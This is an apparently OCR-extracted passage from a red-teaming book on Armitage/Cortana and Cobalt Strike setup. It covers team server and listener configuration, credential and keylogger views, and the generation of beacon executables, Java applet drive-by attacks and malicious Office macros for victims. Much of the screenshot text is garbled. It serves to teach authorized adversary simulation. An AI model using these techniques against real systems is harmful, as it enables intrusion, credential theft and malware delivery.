@ @himanshu Metasploit is online on MSF! Hack the Planet!

+ |5 @O

Every time a new session pops up, we will get a notification on slack:

- g

192.168.0.96
dfx-PC\dfx @ DFX-PC

The preceding screenshot shows the connection on our Armitage. We can see a
new notification message on our slack, as shown in the following screenshot:



0
s,

Himanshu 4:42 am
added an integration to this channel: incoming-webhook

incoming-webhook APP 5:24 A
@himanshu Metasploit is online on MSF! Hack the Planet!

0

NEW MESsAEES —
incoming-webhook APP 5:30 A

@himanshu You did it! New session... Source: MSF; Session: 1; Platform: windows; Type: meterpreter

s @@




Armitage and Cortana scripts

Cortana is a scripting language that is built into Armitage and Cobalt Strike. This
is based on Sleep SCFiptng Language (http://sleep.dashnine.org/ ) We can find a
lot of Cortana scripts built by different people on the internet. These scripts can
be used to automate different tasks in Armitage. Running Cortana scripts is
extremely easy. We will use the scripts hosted on GitHub by rsmudge, found here
at https://github.com/rsmudge/cortana-scripts.

We then download the scripts on our computer and go to Armitage | Scripts... to

&rmitage View Hosts

MNew Connection

Preferences
Set Target View >
Set Exploit Rank [ 2

SOCKS Proxy...

Listeners >

run them: Close

In the window which opens, we choose Load and select the script we
downloaded:


http://sleep.dashnine.org/
https://github.com/rsmudge/cortana-scripts

® @ Open

Look In: [[ﬁ cortana-scripts |1r] l i J l {oor J l ] J [ B “ 8] )
Tﬁ' annoy [i§ autoscan [i§ botvoice [ idlewatc
[ﬁ' autoarp [ﬁ' av-bypass-demo [ﬁ' differ [ﬁ' import_c
[i§ autoDiscover [ beacon [ eval [ int128sc
[i§ autofind [ beef strike [i§ events-table I irt—cliem
[i5 autohack [ binaries [i5 icon & login_a
<l - Ve

File Name:

Files of Type: | Al Files v

[ Open ] [ Cancel J

We will then try to run the icon script. This script identifies the services running
and displays icons according to them:



® @ Open
Look In: |[ﬁicﬂn _"J [ﬁ |[ﬁ’HJ|EI£J

| icons.cna |
| 1] icons.txt

| smb.png
'_ ssh.png

L

|| www.png

File Name: icons.cna

Files of Type: |ﬁ|l Files

")

[ Open J | Cancel |

Once the script is loaded, we then do the exploitation. When a new Meterpreter

connection comes, this script will automatically run:

‘® (&} Armitage
Armitage View Hosts Attacks Workspaces Help
» (B auxiliary [
» (& exploit
» (5 payload

» ﬁ post

[ Event Log X I multifhandler X Tkripts X T Cortana X ]

name | flags

| /Users/Harry/cortana-scripts /icon/icons.cna

The script can sometimes take a while to run depending on the number of
Meterpreter connections we have on our Armitage.



Within Armitage, the Cortana console is also provided. This allows us to interact
with the scripts we run.

To view the console, we go to View | Script Console, as follows:

m Hosts Attacks

Console
Event Log

Credentials
Downloads
Jobs
Loot

Script Console

Reporting >

We can type help into the script console to see the list of all the commands:

cortana> help

Commands

profile
pron
reload
troff

tron
THGED

Cortana's official manual has described the functions for all the commands:



Command Arguments What it does
askoff script.cna let a script interact with Metasploit and compromised

‘

list all of the commands available

logoff script.cna stop logging a script's interaction with Metasploit and
compromised hosts

Is list all of the scripts loaded

script.cna dumps performance statistics for the script.

reload script.cna reloads the script

tron script.cna enable function trace for the script

Source: http://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf



Summary

At the beginning of this chapter, we did a quick tour of the Metasploit
framework, its features, and its usage. We then learned about team server and the
Armitage client, including the setup and usage of Armitage. We also looked at
integrating Metasploit/Armitage with slack so that it keeps us up to date about
every new connection via slack notifications.

Finally, we covered the basics of Cortana scripting and its usage.



Questions

e e

What version of Metasploit is best to use?
Is slack integration really necessary?

Can we make our own Cortana scripts?
Can we set up team server on Windows?
Is Metasploit free?



Further reading

For more information on the topics discussed in this chapter, please visit the
following links:

Cortana Tutorial: http://www.fastandeasyhacking.com/download/cortana/cortana_tuto
rial.pdf

HarmJOy/cortana: https://github.com/HarmJey/cortana

Armitage: https://www.offensive-security.com/metasploit-unleashed/armitage/
MEtﬂSplOit Unleashed: https://www.offensive-security.com/metasploit-unleashed/
ShellHerder: https://github.com/chrismaddalena/ShellHerder

Armitage - Cyber Attack Management for Metasploit: http://ww. fastande

asyhacking.com/manual


http://www.fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf
https://github.com/HarmJ0y/cortana
https://www.offensive-security.com/metasploit-unleashed/armitage/
https://www.offensive-security.com/metasploit-unleashed/
https://github.com/chrismaddalena/ShellHerder
http://www.fastandeasyhacking.com/manual

Getting Started with Cobalt Strike

In the previous chapters, we have covered some great new tools and some lesser
known techniques which could be very helpful in a Penetration Test. In general,
a Penetration Tester is expected to find the vulnerabilities and exploit those
vulnerabilities to achieve the highest level of access but in reality, very few can
fulfil of whats expected of them. Many Penetration Testers won't be able to reach
the final goal due to lack of knowledge and practical experience in topics such as
post-exploitation, lateral movement, data exfiltration, and especially when new
tools and techniques are being released almost on a daily basis. If we ask ourself,
what could be the next level as a Penetration Tester? Our answer would be—a
Red Teamer. A Penetration Tester starts from Ethical Hacking and moves up to
the level where he/she can be called as a Penetration Tester but Cyber-criminals
don't just do a generic penetration testing on their target. They rather, attack the
organization with a harmful intent which led to mass data breaches and Cyber
espionage.

To protect the organization, we need to understand the mindset of a Cyber
criminal. We have to simulate a real cyber attack just to understand how
devastating a cyber attack could be on the organization. That is 'Red Teaming'
and this is one of the crucial differences between an effective red-team exercise
and a penetration test. To perform a successful red team exercise, the objective,
scope, scenario, and Rules of Engagement (RoE) for performing the exercise
needs to be accurately laid out at the beginning of the exercise in order to
simulate a real adversary and provide maximum value to the client and the
stakeholders.

In this chapter, we will cover the following topics:

e Planning a red-team exercise
¢ Introduction to Cobalt Strike
e Cobalt Strike setup

e Cobalt Strike interface

e (Customizing a team server






Technical requirements

e Oracle's Java 1.7 or later

e Cobalt Strike (the trial version lasts for 21 days)
e Microsoft Word

e Visual Basics



Planning a red-team exercise

The red-team exercise is not just a mere pentest; it's an adversary attack
simulation exercise that allows us to assess the following:

If the organization can detect the attack or not

If an organization is able to contain/ restrict the attack after detection

If the organization can protect their business critical assets from the red
teamers or not

How the defenders of an organization perform an incident response in the
event of such attacks

Before getting into the planning phase of the red-team exercise, first you need to
understand the concept of the cyber kill chain.



Cyber kill chain (CKC)

The kill chain is a concept that derives from military operations used to structure
an attack. This includes breaking down the mission into several phases and
beginning the attack accordingly when the end goal is to destroy. These chain of
attacks are collectively called kill chains. The cyber kill chain is a process in
which each step represents an attack and a threat actor (adversary) can link these
attack vectors together to form a chain with the end goal of espionage,
ransoming, or destruction. The cyber kill chain methodology is as follows:



Reconnaissance

Weaponization

Exploitation

Installation

Command &
Control

eInformation gathering (website attack)

*Email & credentials harvesting (phishing attack)
*OSINT (watering-hole, if needed)

eFinding vulnerabilities in the network >,

*Meterpreter-like malware (basic)
eCustom coded malware with fully undetectable (FUD) features (advance)
*A self-replicated malware which could be destributed via USB

¢Delivering the malware created for the victim via different channels (malicious
document, PDF, game installer, software downloader, fake updates, USB, and so on.)

¢Delivered malware would most likely be a FUD in case of cyber espionage.

*Malware code is "detonated" on the victim
*Malware tries to exploit the vulnerabilities found in the reconnaissance stage.

b

4

ePersistance on the system (Backdoored)

™

*Once executed and installed (persistance) on the system, malware will connect back to
the command & control (C2) server and wait for further instructions from the intruders.

o

eAction taken after successful intrusion.
eData exfiltration, data destruction, data encryption for ransom, and so on.







Reconnaissance

This is the most crucial phase of a CKC. The adversary will try to gather as
much information as possible on the target. For example, an adversary can look
for an organization's website for vulnerabilities or an employee's
profile/email/credentials for a spear phishing or watering-hole attack. It can also
dumpster dive to look for certain credentials and access keys in the target
organization's network, Open Source Intelligence (OSINT), and so on.

0 You can find a really well-maintained list of tools and public online portals for gathering intel

at this link: https://github.com/jivoi/awesome-osint


https://github.com/jivoi/awesome-osint

Weaponization

The main aspect of this phase is to weaponize the malware that will be delivered
to the target system. The malware could be a simple meterpreter payload,
Empire agent, Koadic stager, or a complex custom-coded program. The type of
malware depends on the level of adversaries. If the adversary is highly skilled,
he/she would mostly use a custom coded malware to avoid detection. Even if the
adversaries are using meterpreter (a downloader embedded in a Microsoft office
document macro that would download and inject the meterpreter payload into
the memory) as their weaponized malware, they still need to obfuscate, encode,
and encrypt the payload for bypassing general & latest protection mechanisms.
For organizations having no back office, the USB embedded malware is used to
infect the systems of the employees working there.



Delivery

In this phase, the weaponized malware will be delivered to the target
organization's employees, their family, HR, and other departments in the form of
office documents or PDFs. These documents will have catchy titles such as
Updated holiday calendar, Resumes, or Appraisal time. Once the employee
opens up the document and performs certain actions, such as enabling the
macros, the weaponized malware is called from the server for execution.



Exploitation

The malware that was delivered to the target is then detonated (executed) on the
system which then performs actions instructed (coded into) by the malware. This
might include gaining access to the FTP servers using the credentials found in
the reconnaissance phase and using those FTP servers as the pivotal point in
which to distribute the malware on each and every system on the target network
as a software update installer. This phase focuses on the execution of the
malware and the exploitation of vulnerable services in the network (if coded into
the malware).



Installation

Once the malware is executed on the system, the first thing it needs to do is
install itself (backdoor) on the system so that the adversaries can access it
anytime they want to hide in such a way that the AVs don't detect its presence.
Persistence can be achieved either by writing on the disk (this may include the
startup folder, the registry, and so on) or in-memory/file-less write (such as
WMI).



Command and Control Server

The malware which would be properly executed and backdoored with
persistence on the system will call back and report to the Command and
control Server (C2). The malware will then be ready to execute the commands
that would be instructed by the threat actors. These commands could differ from
a simple getting to know the username and roles to dumping all the employee
credentials.



Actions

This will be the final phase of the kill chain in which the adversary gets access to
the system and is ready to execute a plan on it—this could be a data exfiltration
(cyber espionage) mission in which the crown jewels of an organization are
exfiltrated, a data destruction mission in which the data will be securely
shredded or deleted in such a way that it can't be recovered in any way possible,
or a ransom setup in which the important data will be encrypted and the threat
actors will demand a ransom amount for decryption.

A red-teamer needs to know exactly how he or she can use the concept of CKC
in order to get access to the target organization's network. However, to even
perform this task, the red-teamers need to come up with a plan that should be
executed properly for a successful adversary simulation. Look at the following
for the basic planning phases and try to answer the questions as accurately as
possible. Once you find the answers, you're ready for execution:

Rules of

Objective Strategy Engagement
(RoE)




Objective and goal

e What is your main objective here?
e What do you want to achieve with this exercise?



Rules of Engagement (RoE)

What's the scope of this exercise?

How long will it take (timeline) for this exercise to get the results?
Who are the stakeholders and the people responsible (in case of
emergency)?

Who will be doing the incident response?



Scenario/strategy

e How can you achieve the end goal?

Where are you in the kill chain and what kind of attack would you use
according to it?

What will be plan of attack here?

How will you design the kill chain for this exercise?



Deliverables

e What will be the result of this exercise?
e Did the defenders learn their lessons or not?

There are multiple tools that can be used in a red-team exercise, but the real
problem is to use all the tools so that the backdoor connections are easily
manageable. If it's just a system or two, it's still manageable. However, if there's
a huge number of systems then managing each session can be quite difficult. To
solve this problem, we will introduce you to Cobalt Strike, a tool for executing
and managing a red-team operation.



Introduction to Cobalt Strike

ACCOFdng tO cobaltstrike.com:

"Cobalt Strike is a software for Adversary Simulations and Red Team
Operations. Adversary Simulations and Red Team Operations are security
assessments that replicate the tactics and techniques of an advanced adversary
in a network. While penetration tests focus on unpatched vulnerabilities and
misconfigurations, these assessments benefit security operations and incident
response."

Cobalt Strike can be downloaded from https://trial.cobaltstrike.com/ Ol A trial
basis, which is valid for 21 days. It may take few days for the site to provide you
with the download link:


https://trial.cobaltstrike.com/

€ (% @ Secure hiips:ftrial cobaltstrike.com

 J0MML0R0

Would you ke to try Cobalt Strike? Great! Tell us a lite about yourself and wel get & tial capy fo you.

Ifyou'd e to buy Cobalt Strke, you may request a quate or buy online,

Company *

Website

Primary Contact Name

Primary Contact Title

‘Really Important Person ‘

Primary Contact Email




Before installing Cobalt Strike, please make sure that you have Oracle Java
installed with version 1.7 or above. You can check whether or not you have Java
installed by executing the following command:

| java -version
0@ {3} Harry — -bash —

.Nloads/cobaltstrike — java « sudo .lstrike — java -jar cobaltstrike.jar ~/Responder — -bash

Xed mode)

If you receive the java command not found error or another related error, then you
need to install Java on your system. You can download this here: https://ww. java.

com/en/.

Cobalt Strike comes in a package that consists of a client and server files. To
start with the setup, we need to run the team server. The following are the files
that you'll get once you download the package:

The first thing we need to do is run the team server script located in the same
directory.


https://www.java.com/en/

What is a team server?

e This is the main controller for the payloads that are used in Cobalt Strike.

e It logs all of the events that occur in Cobalt Strike.

e It collects all the credentials that are discovered in the post-exploitation
phase or used by the attacker on the target systems to log in.

e It is a simple bash script that calls for the Metasploit RPC service (msfrpcd)
and starts the server with cobaitstrike.jar. This script can be customized
according to the needs.

Cobalt Strike works on a client-server model in which the red-teamer connects to
the team server via the Cobalt Strike client. All the connections (bind/reverse)
to/from the victims are managed by the team server.

F H\/" Vietim 1

Team |’
Server ‘r"| Victim 2

Y ;\x :
CS Client Victim 3

LS o

Bt

The system requirements for running the team server are as follows:

e System requirements:

e 2 GHz+ processor

e 2 GBRAM

e 500MB+ available disk space
e Amazon EC2:



e At least a high-CPU medium (c1.medium, 1.7 GB) instance
e Supported operating systems:
e Kali Linux 1.0, 2.0 — 1386 and AMD64
e Ubuntu Linux 12.04, 14.04 — x86, and x86_64
e The Cobalt Strike client supports:
Windows 7 and above
macOS X 10.10 and above
Kali Linux 1.0, 2.0 — i386 and AMDG64
Ubuntu Linux 12.04, 14.04 — x86, and x86_64

As shown in the following screenshot, the team server needs at least two
mandatory arguments in order to run. This includes heost, which is an IP address
that is reachable from the internet. If behind a home router, you can port forward
the listener's port on the router. The second mandatory argument is password,
Wthh w111 be used by the team server for authentication:

baltstrike Hnr r .T

wxxSombl 3x cobaltstrike Harry$

The third and fourth arguments specifies a Malleable C2 communication
profile and a kill date for the payloads (both optional). A Malleable C2 profile is
a straightforward program that determines how to change information and store
it in an exchange. It's a really cool feature in Cobalt Strike.

The team server must run with the root privileges so that it can start the listener
on system ports (port numbers: o-1023); otherwise, you will receive a permission
denied error when attempting to start a listener:
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The permission denied error can be seen on the team server console window, as

shown in the following screenshot:



Lstener: Revd3 (Wndows/beacon_nttps/ revers HMHLI ) 0nport 93 fatled: Pemussion oented (Bind fo1led)
Trapped Jova. 10, F1 eNotFounaException during sove T1steners [sove thread for; [1steners]: /Users/rarry/
'-'"-"1nn (enned)
HFHHHHTFHIHHTEHHLITHII [sers/Horr) [hnmm mtu Ltstrike/doto/1steners.bin (Penmssion demed)

1

0t Jova. 10, L edutputStregn. ope '»f_

ot Jva.10 FHHHIJTLIIIT Tm . Op
F

|Tr
I
I
ﬂf 0:/%)
[1] Tre ppun 1040, nEllFE'ﬂ'ﬂpf nn 1|n l|ﬂ Mnfl J68.0.30) read [onage: harry]: null

Now that the concept of the team server has been explained, we can move on to

the next topic. You'll learn how to set up a team server for accessing it through
Cobalt Strike.



Cobalt Strike setup

The team server can be run using the following command:

|sudo ./teamserver 192.168.10.122 harry@123

Here, I am using the IP 192.168.10.122 as my team server and harry@i23 as my
password for the team server:

eldzelea

If you receive the same output as we can see in the preceding screenshot, then
this means that your team server is running successfully. Of course, the snazse
hash for the SSL certificate used by the team server will be different each time it
runs on your system, so don't worry if the hash changes each time you start the
server.

Upon successfully starting the server, we can now get on with the client. To run
the client, use the following command:

| java -jar cobaltstrike.jar



ke Harry$
4
arry$ java -jar cobaltstrike.jar
Connect

This is the connect dialog. You should use it to
connect to a Cobalt Strike (Aggressor) team server.

Host  [192.168.10.122

User: _lharry

|
Port  |S0050 ]
|
|

Password: [Fr+trtad|

Connect Help

This command will open up the connect dialog, which is used to connect to the
Cobalt Strike team server. At this point, you need to provide the team server IP,
the Port number (which is seese, by default), the User (which can be any random
user of your choice), and the Password for the team server. The client will
connect with the team server when you press the Connect button.

Upon successful authorization, you will see a team server fingerprint verification
window. This window will ask you to show the exact same SHA256 hash for the
SSL certificate that was generated by the team server at runtime. This
verification only happens once during the initial stages of connection. If you see
this window again, your team server is either restarted or you are connected to a
new device. This is a precautionary measure for preventing Man-in-the-Middle
(MITM) attacks:

® VerifyFingerprint

The team server's fingerprint is:

afObfce452af17554b4aa3a591cfb37d528eb2858154b21efe35cef6eld2clba

Does this match the fingerprint shown when the team server started?

Once the connection is established with the team server, the Cobalt Strike client



will open:

000 Cobalt St el
Cobalt trke View Attacks Reporting Help
CREOE=6GYAU Gell @a 0D
external ifernal Lser computer note
lop Interface:
Visualization Tab

06/19 23:17:47 o harry

Let's look further to understand the Cobalt Strike interface so that you can use it
to its full potential in a red-team engagement.



Cobalt Strike interface

The user interface for Cobalt Strike is divided into two horizontal sections, as
demonstrated in the preceding screenshot. These sections are the visualization
tab and the display tab. The top of the interface shows the visualization tab,
which visually displays all the sessions and targets in order to make it possible to
better understand the network of the compromised host. The bottom of the
interface shows the display tab, which is used to display the Cobalt Strike
features and sessions for interaction.



Toolbar

Common features used in Cobalt Strike can be readily accessible at the click of a
button.

The toolbar offers you all the common functions to speed up your Cobalt Strike
usage:

F

external internal = user

Each feature in the toolbar is as follows:



am pS (e Eleed

View credentials

View downloaded files
View keystrokes

View screenshots

Generate a stageless Cobalt Strike executable or DLL
Setup the Java Signed Applet attack

Generate a malicious Microsoft Office macro

Stand up a Scripted Web Delivery attack

Host a file on Cobalt Strike's web server
Manage files and applications hosted on Cobalt Strike's web server

Visit the Cobalt Strike support page
About Cobalt Strike



Connecting to another team server

In order to connect to another team server, you can click on the + sign, which
will open up the connect window:

A internal =
—ICunnactm team Eeruerl

All of the previous connections will be stored as a profile and can be called for
connection again in the connect window:

Cobalt Strike

RN Connect | computer

Passwﬂrd: [********

New Profile This is the connect dialog. You should use it to

192.168.10.122 connect to a Cobalt Strike (Aggressor) team server.

192.168.0.39

192.168.2.6 Host:  [192.168.2.6 ]
Por: (50050 ]
User: [himanshu ]

| Comect || e




Disconnecting from the team server

By clicking on the minus (-) sign, you will be disconnected from the current
instance of the team server:

ey
Cobalt Strike View Attacks Reporting Help
B0 H=¢ 5EPH SwBE

ke i

TDiECﬂﬂﬂECt from team 5er~.-'er}

internal =

You will also see a box just above the server switchbar that says Disconnected
from team server. Once you disconnect from the instance, you can close it and
continue the operations on the other instance. However, be sure to bear in mind
that once you close the tab after disconnection, you will lose all display tabs that
were open on that particular instance. What's wrong with that?

This may cause some issues. This is because in a red-team operation you do not
always have the specific script that will execute certain commands and save the
information in the database.

In this case, it would be better to execute the command on a shell and then save
the output on Notepad or Sublime. However, not many people follow this
practice, and hence they lose a lot of valuable information.

You can now imagine how heart-breaking it can be to close the instance in case
of a disconnection and find that all of your shell output (which was not even
copied to Notepad) is gone!



86/19 23:17:47 harry
06/22 13:39:47 himanshu

[86/23 22:44] himanshu
event>

| harry@192.168.2.6 | EspionageServer |




Configure listeners

For a team server to function properly, you need to configure a listener. But
before we can do this, we need to know what a listener actually is.

Just like the handler used in Metasploit (that is, exploit/muiti/handier), the Cobalt
Strike team server also needs a handler for handling the bind/reverse connections
to and from the target/victim's system/server. You can configure a listener by
clicking on the headphones-like icon:

& &
Cobalt Strike View Aftacks Reporting Help
oA 0O EH=S¢ B LPH Sw B

exterpal internal =
|Eﬂnﬁgure UEtEﬂEFEI

After clicking the headphones icon, you'll open the Listeners tab in the bottom
section. Click on the Add button to add a new listener:
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You can choose the type of payload you want to listen for with the Host IP
address and the port to listen on for the team server or the redirector: In this case,
we have used a beacon payload, which will be communicating over SSL. Beacon
payloads are a special kind of payload in Cobalt Strike that may look like a
generic meterpreter but actually have much more functionality than that.



Beacons will be discussed in more detail in further chapters.
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As a beacon uses HTTP/S as the communication channel to check for the tasking
allotted to it, you'll be asked to give the IP address for the team server and
domain name in case any redirector is configured (Redirectors will be discussed
in more details in further chapters):

(e o s B
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Once you're done with the previous step, you have now successfully configured
your listener. Your listener is now ready for the incoming connection:
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Session graphs

To see the sessions in a graph view, you can click the button shown in the
following screenshot:

o0 @
Cobalt Strike View Attacks Reporting Help

OE O H=¢ 8 AH & wbB

Show sessions in graph view

Session graphs will show a graphical representation of the systems that have
been compromised and injected with the payloads. In the following screenshot,
the system displayed on the screen has been compromised. et is the user, pr-pc is
the computer name (hostname), and the numbers just after the e are the PIDs of

the processes that have the payload injected into them:
| JON ] Cobalt Strike (Trial

Cobalt Strike View Aftacks Reporting Help

CR O EH=¢a8LLPU GwBD /a Ba

-PC @
PT-PC @ 2124 PT-PC @ 2908

PT
PT-PC @ 2456

When you escalate the privileges from a normal user to Nt AuTHORITY\SYSTEM
(vertical privilege escalation), the session graph will show the system in red and



surrounded by lightning bolts. There is also another thing to notice here: the *
(asterisk) just after the username. This means that the system with PID 1784 is
escalated tO NT AUTHORITY\SYSTEM:

@ &
Cobalt Strike View Attacks Reporting Help
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PT-PC @ 1784  PT-PC @ 3172




Session table

To see the open sessions in a tabular view, click on the button shown in the
following screenshot:

0@
Cobalt Strike View Attacks Reporting Help

0| O EH=¢ 5% ,PH e BE

Show sessions in table view

All the sessions that are opened in Cobalt Strike will be shown along with the
sessions' details. For example, this may include external IP, internal IP, user,
computer name, PID into which the session is injected, or last. Last is an element
of Cobalt Strike that is similar to WhatsApp's Last Seen feature, showing the last
time that the compromised system contacted the team server (in seconds). This is
generally used to check when the session was last active:

o Cobal Strke (Tl
CobaltSrke View Atacks Reporting Help
BRI

e ot » Lser computer e pid fas
@ 192168.0.14 192.168..14 il P 1A 3%
@ 192168.0.14 192.166.0.14 il P uh 3Ts
@ 192168.0.14 192.168..4 il P 08 6

Right-clicking on one of the sessions gives the user multiple options to interact
with, as demonstrated in the following screenshot:



These options will be discussed later in the book.

external internal user comput
192.168.2.14 192.168.2.14 PT * PT-PC
192.168.2.14 192.168.2.14 PT PT-PC
192.168.2.14 192.168.2.14 PT PT-PC
192.168.2 14 192.168.2.14
192.168.7 Interact 192.168.2.14 PT PT-PC
192.168.2 Access * 192.168.2.14 PT PT-PC

Explore *

Pivoting *

Spawn

Session ¢



Targets list

To view the targets, click on the button shown in the following screenshot:

external 5 '
- |Show targets in table view|
B 192.168.2.14  ‘=———————————rorrroomerid
Bl 192.168.2.14 192.168.2.14
BN 192.168.2.14 192.168.2.14

Targets will only show the IP address and the computer name, as follows:

‘ ¥ 192.168.2.14 PT-PC

For further options, you can right-click on the target:



192.168.2 22

Login b
"F"T@E‘J'EIE b
PT *@m1784 ¢
PT@2124
PT@2456
PT@3172 »
PT@3172
Scan
Services
.ﬂﬂﬁt b

From here, you can interact with the sessions opened on the target system. As
you can see in the preceding screenshot, PT@2908 is the session opened on the
given IP and the beacon payload resides in the PID 290s. Consequently, we can
interact with this session directly from here:



192.168.2.14
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Host

-




Credentials

Credentials such as web login passwords, password hashes extracted from the
SAM file, plain-text passwords extracted using mimikatz, etc. are retrieved from
the compromised system and are saved in the database. They can be displayed
by clicking on the icon shown in the following screenshot:

& &
Cobalt Strike View Attacks Reporting Help
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Credentials

When you perform a hashdump in Metasploit (a post-exploitation module that
dumps all NTLM password hashes from the SAM database), the credentials are
saved in the database. With this, when you dump hashes in Cobalt Strike or
when you use valid credentials to log in, the credentials are saved and can be
viewed from here:

EyentLog X | Credentials X

Lser password real note source  host
i 8620651 3a3facle228b7dbbifB302cel  PT-PC hashdump  192.168.2.14
Administrator 3106cte0d16ae931073c%7e0c0B0c)  PT-RC hashdump  192.168.2.14

Guest 31d6cfea16aed31b73c3%07e0c0B%0  PT-PC hashdump  192.168.2.14




Downloaded files

To view all the exfiltrated data from the target system, you can click on the
button shown in the following screenshot:

| NN
Cobalt Strike View Attacks Reporting Help
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This will show the files (exfiltration) that were downloaded from the target
system:

i ¥

EyentLog X | Dowloads X ‘

host name nath s oate
[92.168..14 jusched.exe C:\Users1PT\Desktop|, 0 064 135117




Keystrokes

This option is generally used when you have enabled a keylogger in the beacon.
The keylogger will then log the keystrokes and send it to the beacon. To use this
option, click the button shown in the following screenshot:

® @
Cobalt Strike View Aftacks Reporting Help
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Keystrokes

When a user logs into the system, the keylogger will log all the keystrokes of
that user (explorer.exe is a good candidate for keylogging). So, before you enable
the keylogger from the beacon, migrate or inject a new beacon into the
explorer.exe process and then start the keylogger. Once you do this, you can see
that there's a new entry in the Keystrokes tab:
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The left side of the tab will show the information related to the beacon. This may
include the user, the computer name, the PID in which the keylogger is injected,
and the timestamp when the keylogger sends the saved keystrokes to the beacon.
In contrast, the right side of the tab will show you the keystrokes that were
logged.



Screenshots

To view the screenshots from the target system, click on the button shown in the
following screenshot:

| NN
Cobalt Strike View Aftacks Reporting Help

O N E=¢ B PHSwBE fa

This will open up the tab for screenshots. Here, you will get to know what's
happening on the system's screen at that moment itself. This is quite helpful
when a server administrator is logged in to the system and works on Active
Directory (AD) and Domain Controller (DC) settings. When monitoring the
screen, we can find crucial information that can lead to DC compromise:
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Payload generation — stageless
Windows executable

The stageless Windows executable payload generation feature is available at the
click of a button. You can generate a Windows executable, and to do this you
start by clicking on the button shown in the following screenshot:

e
Cobalt Strike View Attacks Reporting Help

O O EH=¢ B8 PH EwBEED fa B g

Generate Windows Executable (Stageless)

Once clicked, a new window will open where you will input the details for the
team server and the payload that will be generated by it:

Cobalt Strike View Attacks Reporting Help
O O EH=¢ BEPU w0 /e B H
[ NON Windows Executable (Stageless)

Export a stageless Beacon as a Windows executable. Use Cobalt Strike Arsenal scripts
(Help -> Arsenal) to customize this process.

Stage: _[_RethtpSBeamn_ : ]
Proxy: | | [_l
Output: [Windnm EXE T]

x64: [ ] Use x64 payload

Generate || Help l




The Stage will show the available listeners that can be used to send the second
stage payload. You need to select the listener of your choice for this. In this case,
we already have a listener set up on port 443, which has been named
_RevHttpsBeacon_. This listener is a beacon payload. If you have proxy server set up
with authentication already, you can provide the details in Proxy. To do this, you
need to click on the options button besides the Proxy textbox:

Export a stageless Beacon as a Windows executable. Use Cobalt Strike Arsenal scripts (Help -> Arsenal) to customize this process.

Stage: !_Rethtps.Beamn_ - ]
o | [
Output: [Windows EXE 00 @ (Manual) Proxy Settings
Proxy Type: |http v
x64: [ |Use x64 payload
Proxy Host: l l
¢ Proxy Port: | ]
Username: l l
| Password: | ] r

] Ignore proxy settings; use direct connection

| set || Reset || Help |

Cobalt Strike supports HTTP and SOCKS (4a) proxies. You can set up the proxy
details that the payload will use while connecting to the team server via your
desired authenticated proxy.

The output payload that will be generated through this can be in multiple formats
— PowerShell (this will create a .ps1 file with the payload in it; you need to
execute this PowerShell script with the executionpolicy bypass argument in order to
get the shell), Raw (which can be used for further FUD-ing of the payload),
Windows EXE (a basic EXE that works on both x86 and x64 Windows OS),
Windows service EXE (for persistence, the payload will be set up as a Windows
service), 32-bit DLL and 64-bit DLL (DLLs are better options when customized
for bypassing AV, and they are also smaller in size; you can generate a DLL and
then inject it directly into the memory, and this would bypass the static file AV
detection/on-disk-write detection):



000 Windows Executable (Stageless|
Evport a stageless Beacon as a Windows executable. Use Cobalt Strike Arsenal scripts (Help - Arsenal) to customize this process,

Stage: | RevHttpsBeacon_ 5

Proxy. u

Output: Windows EXE n
PowerShel

Raw

Windows EXE

Windows Service EXE

o (Windows DLL (32:bi)

Windows DLL (64-bit

¥od:

Generate LH_&ILJ




Payload generation — Java signed
applet

A Java signed applet attack is a very famous drive-by attack used by the attacker
to exploit the applets loaded on a web page. The Java applets are self-signed, and
they can be used to get permission from the visitor (victim) for execution. Click
on the button shown in the following screenshot for payload generation:

| NN ]
Cobalt Strike View Aftacks Reporting Help
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Setup Java Signed Applet Attack

Once the visitor allows the applet to be executed, the payload will be executed
and the beacon will be calling back to the team server.

You can also change the applet settings, including the Local URI, the Local
Host, and Local Port (you can also give the redirector's information here), and
the Listener:



Cobalt Strike View Attacks Reporting Help
O O B=¢ 8L SwEl 7 0y
( NN | Self-signed Applet Attack

This package sets up a self-signed Java applet. This package will spawn the
specified listener if the user gives the applet permission to run.

Local URT:  |/mPlayer

Local Host: |192.168.2.6

Local Port: |80

Listener: I_RethtpsEeacnn_ v ‘ Add |

‘ Launch H Help ‘

If you do not wish to use the listeners available in the drop-down list, you can
always add a new one by clicking the Add button:



3172

This package sets up a self-signed Java applet. This package *
will spawn the specified listener if the user gives the applet

Local URL:  |/mPlayer 000 New Listener
Local Host: {192.168.2.6 Create a listener.
Local Port: (80
Listener:  |_RevHttpsBeacon_ v ‘ Add - Name:
Payload: 'windows/beacon_http/reverse hitp  ~
‘ Launch H Help ‘
Host:  1192.168.2.6

Port:

an

When everything is ready, you need to click the Launch button for executing the
drive-by attack. Cobalt Strike will host the applet and give you the confirmation:
@ Success

Started service: host applet
Copy and paste this URL to access it

A lot of pentesters use this social engineering technique to get access to the
target system by using an applet signed with a self-signed code signing
certificate. However, this does not work with most of the browsers now as they
have policies in place to prevent it. Starting with Java version 1.7 (update 51),
the self-signed Java applet will not run by default. A better option would be



either to use a valid certificate or to go for macros.



Payload generation — MS Office
macros

Payload execution via Office macros is the new black. If you have heard about
the uproar of ransomware, then you must know about macros as well. For the
past few years, macros have been used to execute the payload embedded in it.
However, for a successful execution, the victim needs to be convinced to click
on Enable Content in the malicious document. To start generating macros-
enabled payload embedded in the document, click the button shown in the
following screenshot:

| NN
Cobalt Strike View Aftacks Reporting Help

OB N EZS¢ BAL el Pa s

MS Office Macro Attack

At this point, you will get a listener window where you will have to select the
listener to use once the payload is executed over the target system. Of course,
you also have the option to add a new listener if you desire to do so:



Cobalt Strike View Aftacks Reporting Help

DROE=¢BIFU GwEE P B

| JON | MS Office Macro

This package generates a VBA macro that you may embed into a Microsoft Word or
Excel document. This attack works in x86 and x64 Office on Windows.

Listener: l_RethtpsEeamn_ *H ﬂ ‘

‘ Generate H Help ‘

Once you generate the macros for the given listener, you will get an instruction
window that you can follow in order to embed the macros in a document:
@@ Macro Instructions

Follow these steps to add this Macro to a Microsoft Word or Excel document:

Open Microsoft Word or Excel

Go to View -> Macros -> View Macros

Change Macros in to the current file

Give your macro a name (any name is OK)

Click Create

Clear the editor

Press Copy Macro to copy the macro to your clipboard.
Paste the macro

Close the macro editor window

Save the document as a macro-enabled document

L

[

Copy Macro




This document can be saved as a macro-enabled document (.docm) or a word 97-
2003 document (. doc).

The document can be then delivered to the victim via any method, and once the
victim opens up the document and enables the content, the macros will be
executed and the beacon will call back to home (team server).



